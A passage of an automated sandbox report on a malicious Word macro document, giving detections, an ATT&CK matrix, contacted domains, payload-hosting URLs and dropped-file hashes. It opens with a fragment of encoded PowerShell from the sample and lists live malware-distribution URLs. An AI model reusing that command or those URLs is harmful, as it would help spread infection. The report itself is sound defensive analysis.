uaciababgaeuabgbhagaavabiaciaiaatagcazqagadianwaxadyaoqapacaaewbbaeqaaqbhagcabgbvahmadabpagmacwauafaacgbvagmazqbzahmaxqa6adoaigbzafqayabbafiadaaiacgajabjag0aeabmahiaeab0ageacabvackaowakaeuaaqbkahkadabragwaeqa9accawqbiaheaeabjahuadgbkagkacqbuaccaowbiahiazqbhagsaowakaewabqbxageaaabqagmadwb5ahcadabrad0ajwbhahcayqb1ahuaaabsahoajwb9ah0aywbhahqaywboahsafqb9acqatwbuag8azwbxagiadqbtag8apqanaewazabraguabwbnahmayqbmahgabgbqacca

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	4 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	11 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Scripting	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	3 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	1 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Scripting	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
INV_PO_12172019EX.doc	30%	ReversingLabs	Script-Macro.Trojan.Heuristic
INV_PO_12172019EX.doc	70%	Virustotal		Browse
INV_PO_12172019EX.doc	100%	Avira	W97M/Agent.5776312
INV_PO_12172019EX.doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\~DF413F6883B338D566.TMP	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
7arasport.com	2%	Virustotal	Browse
dev2.ektonendon.gr	8%	Virustotal	Browse
amstaffrecords.com	9%	Virustotal	Browse
ww38.7arasport.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://foozoop.com/wp-content/Qxi7iVD/	0%	Avira URL Cloud	safe
http://7arasport.com/validatefield/gj/	0%	Avira URL Cloud	safe
https://diagnostica-products.com/wp-admin/hio2u7w/PE	100%	Avira URL Cloud	malware
http://ww38.7arasport.com	0%	Avira URL Cloud	safe
https://diagnostica-products.com/wp-admin/hio2u7w/	100%	Avira URL Cloud	malware
http://foozoop.com/wp	0%	Avira URL Cloud	safe
http://amstaffrecords.com/individualApi/0/	100%	Avira URL Cloud	malware
http://amstaffrecords.com/indivi	100%	Avira URL Cloud	phishing
http://7arasport.com	0%	Avira URL Cloud	safe
http://foozoop.com	0%	Avira URL Cloud	safe
https://diagnostica-products.com	0%	Avira URL Cloud	safe
http://ww38.7arasport.com/validatefield/gj/	0%	Avira URL Cloud	safe
http://amstaffrecords.com	100%	Avira URL Cloud	phishing
http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/	100%	Avira URL Cloud	malware
http://dev2.ektonendon.gr	100%	Avira URL Cloud	phishing
http://ja.com/he	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
701602.parkingcrew.net	13.248.148.254	true	false		high
7arasport.com	103.224.212.222	true	true	2%, Virustotal, Browse	unknown
dev2.ektonendon.gr	162.212.129.161	true	true	8%, Virustotal, Browse	unknown
amstaffrecords.com	unknown	unknown	true	9%, Virustotal, Browse	unknown
ww38.7arasport.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
diagnostica-products.com	unknown	unknown	true		unknown
foozoop.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://7arasport.com/validatefield/gj/	true	Avira URL Cloud: safe	unknown
http://ww38.7arasport.com/validatefield/gj/	false	Avira URL Cloud: safe	unknown
http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://foozoop.com/wp-content/Qxi7iVD/	powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	powershell.exe, 00000005.00000002.929114441.000000000027E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929114441.000000000024F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://diagnostica-products.com/wp-admin/hio2u7w/PE	powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://foozoop.com/wp	powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://amstaffrecords.com/individualApi/0/	powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.941139445.000000001B40F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ww38.7arasport.com	powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amstaffrecords.com/indivi	powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ja.com/he	powershell.exe, 00000005.00000002.929114441.000000000027E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://diagnostica-products.com	powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://diagnostica-products.com/wp-admin/hio2u7w/	powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.piriform.com/ccleaner	powershell.exe, 00000005.00000002.929114441.000000000027E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929114441.000000000024F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://foozoop.com	powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://7arasport.com	powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://amstaffrecords.com	powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://dev2.ektonendon.gr	powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.148.254	701602.parkingcrew.net	United States	16509	AMAZON-02US	false
103.224.212.222	7arasport.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
162.212.129.161	dev2.ektonendon.gr	United States	55293	A2HOSTINGUS	true

Private

IP
192.168.2.255

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	800690
Start date and time:	2023-02-07 18:13:09 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	INV_PO_12172019EX.doc
Detection:	MAL
Classification:	mal100.troj.evad.winDOC@2/19@6/4
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, wisptis.exe, conhost.exe
Execution Graph export aborted for target powershell.exe, PID 2412 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:13:25	API Interceptor	46x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
13.248.148.254	http://go.staticvisit.net	Get hash	malicious	Browse	ww38.go.staticvisit.net/track.php?domain=staticvisit.net&caf=1&toggle=answercheck&answer=yes&uid=MTY3NTE4NTE3OS4xMjgzOjhiMDFjYzBjZmRiMDQ5MDNkNWY4MGJlZTUyMDAwYWE1NzdhNTc4NDJiNzNkZmQxZTg0MzBjN2NhODljNWJjY2U6NjNkOTRjMWIxZjUxNA%3D%3D
	file.exe	Get hash	malicious	Browse	www.felue.com/w12e/?V6Ptazrp=qpGseFsePREgx0gpvz0czO7u++BXaSRjL9WAVSuxQtK+9SlDWQF/crrP/higEtnFWzWezF3cNQ==&6lp=5jJH
	http://cs.ffbtas.com	Get hash	malicious	Browse	ww9.ffbtas.com/favicon.ico
	lJt3mQqCQl.dll	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	xIwkOnjSIa.dll	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	IU28r0EZFA.dll	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	http://ww3.navfederal.org/	Get hash	malicious	Browse	ww3.navfederal.org/favicon.ico
	https://dwnld.icu/assets/83/CC.jpg	Get hash	malicious	Browse	ww38.dwnld.icu/favicon.ico
	Ee3RWj3ID9.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	B0U3oOhQJu.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	1WImqfBvqH.dll	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	zTg6FfsIq1.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	8ML9vWcUAh.dll	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	e9TfH3jxO1.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	6jtNVDiwz9.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	vcLgaDtq2Y.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	wS1IlhGZ6O.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	DWs0ZsrcWc.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	iH34IwDgCX.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	7jLUw8OOEn.exe	Get hash	malicious	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
701602.parkingcrew.net	http://go.staticvisit.net	Get hash	malicious	Browse	13.248.148.254
	lJt3mQqCQl.dll	Get hash	malicious	Browse	13.248.148.254
	xIwkOnjSIa.dll	Get hash	malicious	Browse	76.223.26.96
	IU28r0EZFA.dll	Get hash	malicious	Browse	76.223.26.96
	ViNIRfmQmE.dll	Get hash	malicious	Browse	76.223.26.96
	Ee3RWj3ID9.exe	Get hash	malicious	Browse	13.248.148.254
	YB7v7UFV3j.exe	Get hash	malicious	Browse	76.223.26.96
	B0U3oOhQJu.exe	Get hash	malicious	Browse	76.223.26.96
	1WImqfBvqH.dll	Get hash	malicious	Browse	76.223.26.96
	zTg6FfsIq1.exe	Get hash	malicious	Browse	76.223.26.96
	8ML9vWcUAh.dll	Get hash	malicious	Browse	76.223.26.96
	e9TfH3jxO1.exe	Get hash	malicious	Browse	76.223.26.96
	6jtNVDiwz9.exe	Get hash	malicious	Browse	76.223.26.96
	tkxl2AyS35.exe	Get hash	malicious	Browse	76.223.26.96
	vcLgaDtq2Y.exe	Get hash	malicious	Browse	13.248.148.254
	wS1IlhGZ6O.exe	Get hash	malicious	Browse	13.248.148.254
	DWs0ZsrcWc.exe	Get hash	malicious	Browse	13.248.148.254
	iH34IwDgCX.exe	Get hash	malicious	Browse	13.248.148.254
	UKfz9ypQ3N.exe	Get hash	malicious	Browse	76.223.26.96
	7jLUw8OOEn.exe	Get hash	malicious	Browse	13.248.148.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-02US	Unv67CLhJv.exe	Get hash	malicious	Browse	18.191.223.12
	0x000600000001ace8-206.exe	Get hash	malicious	Browse	76.76.21.164
	http://129.146.126.156/kek/libcurlnew	Get hash	malicious	Browse	35.161.188.100
	http://www.derp7.cf/	Get hash	malicious	Browse	52.31.164.125
	file.exe	Get hash	malicious	Browse	35.75.241.14
	https://www.canva.com/design/DAFZ4mIuTRk/xh916WsoV133Oxh-V4YbYw/view?utm_content=DAFZ4mIuTRk&utm_campaign=designshare&utm_medium=link&utm_source=publishsharelink	Get hash	malicious	Browse	13.224.98.28
	https://fruitandpods.com/besnet/empresas/dcab232/Sign_in.php	Get hash	malicious	Browse	52.18.129.71
	Bg3roWYlzp.elf	Get hash	malicious	Browse	108.151.228.196
	deWmHJb3Gy.elf	Get hash	malicious	Browse	108.140.29.19
	QmWGYm2HqaT7gVV3khAweBFc4LcX7ozKSJmvd5kyf35fub.exe	Get hash	malicious	Browse	18.178.155.204
	QmWGYm2HqaT7gVV3khAweBFc4LcX7ozKSJmvd5kyf35fub.exe	Get hash	malicious	Browse	18.178.155.204
	QmXGVHdFFsMMgLdiLVgNbUbRp6cAxknWRKKugYK37rMkAo.exe	Get hash	malicious	Browse	18.178.155.204
	https://www.googleadservices.com/pagead/aclk?sa=L&ai=CkwvK0P_hY8HmHqzkn88PyfuFuAWgo7fvbs6fqp-VEZGs05XEOBABIIHZ_iFgyQagAZOftLAoyAEJqQLjAdLjEvh5PqgDAcgDywSqBNcBT9DF_iX400IybEW3Pr6wAP-unvMjI3QSAapE6PY1e4nW5NWKB41op30pMboy0XCoPrXu7CNTcCMGeey1XtmKUgKbua3PEd7d8iSVBezN1_nZqT0JcBzMecORTxu_F8eCphEg6iih3KhpzzdErNKbKHo4QV0ywpPFvMuZ3jo2yS4wpXHFiWkk5VTaH9WZi4OenRX7ZqzE2P8_pKVLM30PUS0k-HTbrJJ-9SAoN4qZ0SoufwzHZ2CbVg2_WHfzg3cj_ZXuCwBLBhnHmi0ale5VhZw_d81os6TABPq-rLGbBKAGLoAHnKTY_QOoB47OG6gHk9gbqAfulrECqAf-nrECqAeko7ECqAfVyRuoB6a-G6gHmgaoB_PRG6gHltgbqAeqm7ECqAf_nrECqAffn7EC2AcA0ggPCIBhEAEYHzICigI6AoBAsQkBrnSxVCnjCIAKAZgLAcgLAYAMAbgMAdgTDNAVAfgWAYAXAQ&ae=1&num=1&cid=CAQSOwDUE5ymZxT0dLU_6yG71JZyq7bVZF3KxZaaSOrqGKatE9XZNh61FPPUu9DHSG-OenQe7WgVmA55if6mGAE&sig=AOD64_1lTBUid_DTEGtbwCI40J1FZksITw&client=ca-pub-9816945270938969&rf=1&nb=9&adurl=http://nu.fekru.rlntlss.net%3A%2F%2F%23aHR0cHM6Ly9teWZhbWlseWFjdS5jb20vbmV3L2F1dGgvQ29uZGVuYXN0L2tlZWxleS5rbm93bGVzQGNvbmRlbmFzdC5jby51aw==	Get hash	malicious	Browse	54.231.198.168
	https://googleweblight.com/i?u=https%3a%2f%2feu2concur.web.app%2fjr9s0h3rbF4z5kQ5kQa51r9sF4zn5kQF4zrs5kQa5kQF4zbankd07r9s0h3nW1&c=212221	Get hash	malicious	Browse	13.224.103.9
	install.exe	Get hash	malicious	Browse	18.178.155.204
	https://4nu46.app.link/3ljjXIsWaxb	Get hash	malicious	Browse	13.224.103.74
	install.exe	Get hash	malicious	Browse	18.178.155.204
	95543.html	Get hash	malicious	Browse	52.217.104.54
	OyRQKws9CH.exe	Get hash	malicious	Browse	18.197.239.5
	https://sharepoint-document-authentication.blleb.com/?	Get hash	malicious	Browse	13.224.103.69

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Windows metafile
Category:	dropped
Size (bytes):	444
Entropy (8bit):	3.2627072103345656
Encrypted:	false
SSDEEP:	12:Mh86p058QYNAPzSxsfb0R4EXSvCzSN+uztl:O905TZzSWfbUYvn7xl
MD5:	11D3F9A2B8772B00E439701105F9E8EF
SHA1:	19F7EDC5F445A9A54827570476F06835BAF9EBB8
SHA-256:	60A14153FAC78B3EE62D0E5418F76DD4AA3A723EBC52622D7DF5A12FC3A44A60
SHA-512:	48F13B0FA31B8FA0EC89047A3F0B42A9DC72114692AEEC276D4F54FF72548F421C8BB3BB3398B7C47BB6AB39E5F835CBDFC34AB50A856C439145C68ECA136EDE
Malicious:	false
Reputation:	low
Preview:	......................................................................-.........!.................!.............................-.........!.................!.............................-.........!.................!...................iii.......-.........!.................!.................................................................2......................................@..Calibri.M..1....(l...I.u@..uM.f)....-.................'.........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A3AE7B0F.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Windows metafile
Category:	dropped
Size (bytes):	444
Entropy (8bit):	2.99722014911087
Encrypted:	false
SSDEEP:	12:Mh86p058QYNAPzSxsfb0R4EXSvCzSNCruztl:O905TZzSWfbUYvnbxl
MD5:	DB2FD781DF517D35D27E6B53B22624F0
SHA1:	F756270EE429D39C5719D936677D090F9407C5BE
SHA-256:	7A7F34B2D7F284921D09B7D0810B9662FC712B5783333CEB6CCDE2A69A67C698
SHA-512:	E8C84F43CA1E7B3C9A08FD0DF40376C2CAC8B0AB3D18F44CAF39510E86611D886FC74EDF32A524C9DE06DEA2E0F2420E796897703095D328340434662DD4C14D
Malicious:	false
Reputation:	low
Preview:	......................................................................-.........!.................!.............................-.........!.................!.............................-.........!.................!...................iii.......-.........!.................!.................................................................2......................................@..Calibri.....C.......@...............-.................'.........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{4D8C8B4D-2408-4479-B193-86C1187A3D7D}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	5.128863223295907
Encrypted:	false
SSDEEP:	768:3P0zasWmNf4gZ6OPpAkrbfzHSS+hr4fXuPA9TltJHdUdppiXlcSRVkhpchcHicHf:fUasZfzZ9PpAkrbfzHSS+hr4fXz/H6dt
MD5:	DFD24CBE556204FDA04E205C1D98862B
SHA1:	C0A16296134D92A489DD50329E7BB3FAF60A6B8E
SHA-256:	5A8FA0E0D1F96021CD3B501B2D736004B4AF2549F98BE08A987232E8B55DFDC0
SHA-512:	E37347A89C793A88646E6CB61386CDFFBFC7A06159795FE0EA7C61D19F8E31BA65180C7CB432E5D1B77D84DD67596BCC997A41301EE983568656104F33BD0013
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................M...............=.......................................>...............................................................................................)...+...............................................................................L...?...@...N...............................................(.......*...............................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{98B5056E-1AC7-42C9-BDDC-599C5AB91B4A}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VBE\INKEDLib.exd

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	111460
Entropy (8bit):	4.944876294992553
Encrypted:	false
SSDEEP:	1536:rgoD5EyP3uLmO7PTpJNTMf+zw1n/+JDoOii/UNx3UEPqB4dBH:rxP3kmOf/NTMRn/+5/Grqi
MD5:	845A290401571DFC12E05E2FF969DFC6
SHA1:	837CC20C2A302CC48404BB6D762D54C8834F12D2
SHA-256:	3C0D99443446B0517258BA8846B9EB4B04C09CEED2E3F4677DDA1F6E26D5A8DB
SHA-512:	AF24AC05BF79FEECCD8176F7B419F69D5D13DC7830E2732AADF3C00AA89728E2191F3A8B5AB60A6A5562ECE1B6D3F82D2D3F9D70AAE5579013CF5A774E9EACB3
Malicious:	false
Preview:	MSFT................Q...........o..............._....)...... ....... ...........\|.......d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0......*......\+...........3...............8..4............2.. ...........\................................9...............;...V...............a..........T............................................................................................... !..L.......................................................D....................................... !..................................................,............................................... !..l.....................$.....

C:\Users\user\AppData\Local\Temp\Word8.0\MSForms.exd

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	166724
Entropy (8bit):	4.37296320699445
Encrypted:	false
SSDEEP:	1536:IU+zL6wNSc8SetKB4YuiMOqK/WVMO+O9sOHK7K2xBmsqsDPza7vKp:IPjNSc83tKBduiMnAOXTK7K1Kp
MD5:	F22C81C73CE8DDFDCAA8D16031E935BB
SHA1:	5A1B8B5F859652067794926CCD5547FEE8AAF1BD
SHA-256:	F042CD4DD958DE038353AADED933F9D87C4493BC3BF25EA2B965C6CC078249BB
SHA-512:	20771EE51CDB267C47F6C85A90335609156F5BA052B0478BC56E8B2526A469BC93E227BEE05FC0E44470AF26A38D8C1CF93E8AE1F466BF126AE33DA756236442
Malicious:	false
Preview:	MSFT................Q...............................=#......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0......*..\+...+..$,...,...,..P-...-......\|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8...........N..............\W...............J..............,<...............<..............xW..............xY...G..........p...T.........................................................................................................&!.............................................................................................

C:\Users\user\AppData\Local\Temp\~DF413F6883B338D566.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	98816
Entropy (8bit):	4.80498431928288
Encrypted:	false
SSDEEP:	3072:ajTjzxfDLcUaOBsnRmsAqgeindy/O7svT06CER6MrVd8w:ajTjzVDQUaOBsnRmsAqgeidWvTA
MD5:	8EA37B0DD197D80D0B6092428925E595
SHA1:	AA525DF7BE573F549F2F8C9C9B6702B284935CEE
SHA-256:	397ABFA5376C024D8FF06FDF47D908EB40E658FEB63BD6296877CFAB286C073B
SHA-512:	BFA29CBABD8D5370DC34F2DFE3B19EAFCC549FAA25787FBC2C9E549A6D14D423C949875FA60E1A879DF1546CDB23486EA5566B81267AB75EF5DC7C987F8AD549
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	......................>...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................+...........$................... ...!..."...#.......%...&...'...(...)...*...........-...E.../...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...,...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b.......d...e...f...g...h...q...j...k...l...m...n...o...p...c...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DF9A691EC184F6B5B3.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFA8E9CC93153586F4.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
